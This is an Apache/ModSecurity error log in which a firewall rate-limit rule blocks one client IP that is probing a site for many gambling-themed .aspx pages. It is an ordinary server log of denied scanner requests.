[Wed Apr 08 23:27:46.635883 2026] [:error] [pid 7189:tid 7196] [client 145.239.195.38:45622] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adZz8haBqhBSu0L37lr8qQAAAcU"]
[Wed Apr 08 23:27:49.166374 2026] [:error] [pid 64066:tid 64072] [client 145.239.195.38:45638] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adZz9VR3WucJgr2vZGaTggAAAUM"]
[Wed Apr 08 23:27:51.679779 2026] [:error] [pid 64066:tid 64088] [client 145.239.195.38:45650] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adZz91R3WucJgr2vZGaTjgAAAVM"]
[Wed Apr 08 23:27:54.251781 2026] [:error] [pid 64066:tid 64090] [client 145.239.195.38:34038] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adZz-lR3WucJgr2vZGaTnQAAAVU"]
[Wed Apr 08 23:27:56.766476 2026] [:error] [pid 64066:tid 64093] [client 145.239.195.38:34046] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adZz_FR3WucJgr2vZGaTrQAAAVg"]
[Wed Apr 08 23:27:59.200182 2026] [:error] [pid 7047:tid 7061] [client 145.239.195.38:34060] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adZz_-Nh3oGO3pKiCzxQFQAAAYw"]
[Wed Apr 08 23:28:02.143894 2026] [:error] [pid 12385:tid 12395] [client 145.239.195.38:34070] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adZ0AiAjtvRQEkLosq2yLAAAAAY"]
[Wed Apr 08 23:28:04.746071 2026] [:error] [pid 12490:tid 12505] [client 145.239.195.38:48362] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adZ0BG1Fea4F4fbumr0_dgAAAM0"]
[Wed Apr 08 23:28:07.310099 2026] [:error] [pid 64066:tid 64093] [client 145.239.195.38:48370] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adZ0B1R3WucJgr2vZGaTwQAAAVg"]
[Wed Apr 08 23:28:09.881500 2026] [:error] [pid 64066:tid 64077] [client 145.239.195.38:48372] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "adZ0CVR3WucJgr2vZGaTywAAAUg"]
[Wed Apr 08 23:28:12.558495 2026] [:error] [pid 7047:tid 7056] [client 145.239.195.38:48384] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adZ0DONh3oGO3pKiCzxQLQAAAYc"]
[Wed Apr 08 23:28:15.286316 2026] [:error] [pid 35642:tid 35661] [client 145.239.195.38:59164] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adZ0Dw-CqryxdEs5DN90twAAAFE"]
[Wed Apr 08 23:28:18.453291 2026] [:error] [pid 7047:tid 7069] [client 145.239.195.38:59166] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adZ0EuNh3oGO3pKiCzxQNgAAAZQ"]
[Wed Apr 08 23:28:41.491561 2026] [:error] [pid 12385:tid 12409] [client 145.239.195.38:59180] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adZ0KSAjtvRQEkLosq2yUgAAABQ"]
[Wed Apr 08 23:28:43.983848 2026] [:error] [pid 12490:tid 12509] [client 145.239.195.38:55304] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adZ0K21Fea4F4fbumr0_ygAAANE"]
[Wed Apr 08 23:28:46.788201 2026] [:error] [pid 64066:tid 64089] [client 145.239.195.38:55314] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adZ0LlR3WucJgr2vZGaUAAAAAVQ"]
[Wed Apr 08 23:28:49.980674 2026] [:error] [pid 7047:tid 7070] [client 145.239.195.38:55328] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adZ0MeNh3oGO3pKiCzxQZgAAAZU"]
[Wed Apr 08 23:28:52.797311 2026] [:error] [pid 12453:tid 12465] [client 145.239.195.38:55342] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adZ0NBjtW7S6XsLPvrRnaQAAAIo"]
[Wed Apr 08 23:28:55.737938 2026] [:error] [pid 35642:tid 35653] [client 145.239.195.38:38468] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adZ0Nw-CqryxdEs5DN900gAAAEk"]
[Wed Apr 08 23:28:58.807676 2026] [:error] [pid 64066:tid 64088] [client 145.239.195.38:38470] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adZ0OlR3WucJgr2vZGaUIQAAAVM"]
[Wed Apr 08 23:29:01.556378 2026] [:error] [pid 7047:tid 7068] [client 145.239.195.38:38486] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adZ0PeNh3oGO3pKiCzxQbwAAAZM"]
[Wed Apr 08 23:29:04.393618 2026] [:error] [pid 64066:tid 64089] [client 145.239.195.38:48714] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adZ0QFR3WucJgr2vZGaULgAAAVQ"]
[Wed Apr 08 23:29:07.165882 2026] [:error] [pid 12490:tid 12500] [client 145.239.195.38:48720] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adZ0Q21Fea4F4fbumr0_6wAAAMg"]
[Wed Apr 08 23:29:09.907486 2026] [:error] [pid 64066:tid 64088] [client 145.239.195.38:48724] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adZ0RVR3WucJgr2vZGaUPAAAAVM"]
[Wed Apr 08 23:29:12.525219 2026] [:error] [pid 12490:tid 12506] [client 145.239.195.38:48732] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adZ0SG1Fea4F4fbumr0_8gAAAM4"]
[Wed Apr 08 23:29:15.845579 2026] [:error] [pid 35642:tid 35662] [client 145.239.195.38:34184] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adZ0Sw-CqryxdEs5DN902AAAAFI"]
[Wed Apr 08 23:29:18.616957 2026] [:error] [pid 7189:tid 7195] [client 145.239.195.38:34196] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adZ0ThaBqhBSu0L37lr9CQAAAcQ"]
[Wed Apr 08 23:29:21.486343 2026] [:error] [pid 7189:tid 7210] [client 145.239.195.38:34208] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adZ0URaBqhBSu0L37lr9CwAAAdM"]
[Wed Apr 08 23:29:24.190129 2026] [:error] [pid 12453:tid 12477] [client 145.239.195.38:42084] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adZ0VBjtW7S6XsLPvrRnmQAAAJY"]
[Wed Apr 08 23:29:27.090572 2026] [:error] [pid 12386:tid 12435] [client 145.239.195.38:42100] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adZ0VxLhhLtqHi2gK7UvVAAAARM"]
[Wed Apr 08 23:29:29.747822 2026] [:error] [pid 12386:tid 12430] [client 145.239.195.38:42112] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adZ0WRLhhLtqHi2gK7UvVwAAAQ4"]
[Wed Apr 08 23:29:32.358286 2026] [:error] [pid 12490:tid 12495] [client 145.239.195.38:42116] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adZ0XG1Fea4F4fbumr1ACgAAAMM"]
[Wed Apr 08 23:29:35.072416 2026] [:error] [pid 64066:tid 64085] [client 145.239.195.38:59906] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adZ0X1R3WucJgr2vZGaUewAAAVA"]
[Wed Apr 08 23:29:37.648071 2026] [:error] [pid 64066:tid 64091] [client 145.239.195.38:59910] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adZ0YVR3WucJgr2vZGaUhQAAAVY"]
[Wed Apr 08 23:30:03.556177 2026] [:error] [pid 12490:tid 12507] [client 145.239.195.38:59920] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adZ0e21Fea4F4fbumr1ASgAAAM8"]
[Wed Apr 08 23:30:06.467890 2026] [:error] [pid 12490:tid 12514] [client 145.239.195.38:55784] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adZ0fm1Fea4F4fbumr1ATwAAANY"]
[Wed Apr 08 23:30:09.134562 2026] [:error] [pid 12385:tid 12390] [client 145.239.195.38:55800] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adZ0gSAjtvRQEkLosq2ycgAAAAE"]
[Wed Apr 08 23:30:12.595216 2026] [:error] [pid 12385:tid 12400] [client 145.239.195.38:55810] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adZ0hCAjtvRQEkLosq2ydAAAAAs"]
[Wed Apr 08 23:30:15.088325 2026] [:error] [pid 7047:tid 7055] [client 145.239.195.38:33802] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adZ0h-Nh3oGO3pKiCzxRFgAAAYY"]
[Wed Apr 08 23:30:17.739937 2026] [:error] [pid 12490:tid 12494] [client 145.239.195.38:33812] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adZ0iW1Fea4F4fbumr1AYAAAAMI"]
[Wed Apr 08 23:30:20.519588 2026] [:error] [pid 12490:tid 12512] [client 145.239.195.38:33818] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adZ0jG1Fea4F4fbumr1AYgAAANQ"]
[Wed Apr 08 23:30:23.106827 2026] [:error] [pid 7189:tid 7196] [client 145.239.195.38:33830] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adZ0jxaBqhBSu0L37lr9XgAAAcU"]
[Wed Apr 08 23:30:25.942110 2026] [:error] [pid 12453:tid 12473] [client 145.239.195.38:58578] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adZ0kRjtW7S6XsLPvrRn3gAAAJI"]
[Wed Apr 08 23:30:28.637176 2026] [:error] [pid 12453:tid 12477] [client 145.239.195.38:58586] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adZ0lBjtW7S6XsLPvrRn5gAAAJY"]
[Wed Apr 08 23:30:31.509727 2026] [:error] [pid 7047:tid 7073] [client 145.239.195.38:58602] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adZ0l-Nh3oGO3pKiCzxRMAAAAZg"]
[Wed Apr 08 23:30:34.301777 2026] [:error] [pid 12385:tid 12392] [client 145.239.195.38:47508] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adZ0miAjtvRQEkLosq2yfAAAAAM"]
[Wed Apr 08 23:30:36.909400 2026] [:error] [pid 12490:tid 12504] [client 145.239.195.38:47524] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adZ0nG1Fea4F4fbumr1AfwAAAMw"]
[Wed Apr 08 23:30:39.322031 2026] [:error] [pid 12490:tid 12513] [client 145.239.195.38:47530] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adZ0n21Fea4F4fbumr1AhQAAANU"]
[Wed Apr 08 23:30:42.130140 2026] [:error] [pid 7189:tid 7196] [client 145.239.195.38:47532] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adZ0ohaBqhBSu0L37lr9cAAAAcU"]
[Wed Apr 08 23:30:45.056161 2026] [:error] [pid 7047:tid 7070] [client 145.239.195.38:54112] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adZ0peNh3oGO3pKiCzxRRQAAAZU"]
[Wed Apr 08 23:30:47.800327 2026] [:error] [pid 7047:tid 7056] [client 145.239.195.38:54124] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adZ0p-Nh3oGO3pKiCzxRTAAAAYc"]
[Wed Apr 08 23:30:50.220066 2026] [:error] [pid 12490:tid 12511] [client 145.239.195.38:54132] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adZ0qm1Fea4F4fbumr1AiAAAANM"]
[Wed Apr 08 23:30:52.840467 2026] [:error] [pid 12453:tid 12472] [client 145.239.195.38:54142] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adZ0rBjtW7S6XsLPvrRoLAAAAJE"]
[Wed Apr 08 23:30:55.579462 2026] [:error] [pid 7047:tid 7049] [client 145.239.195.38:41516] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adZ0r-Nh3oGO3pKiCzxRWQAAAYA"]
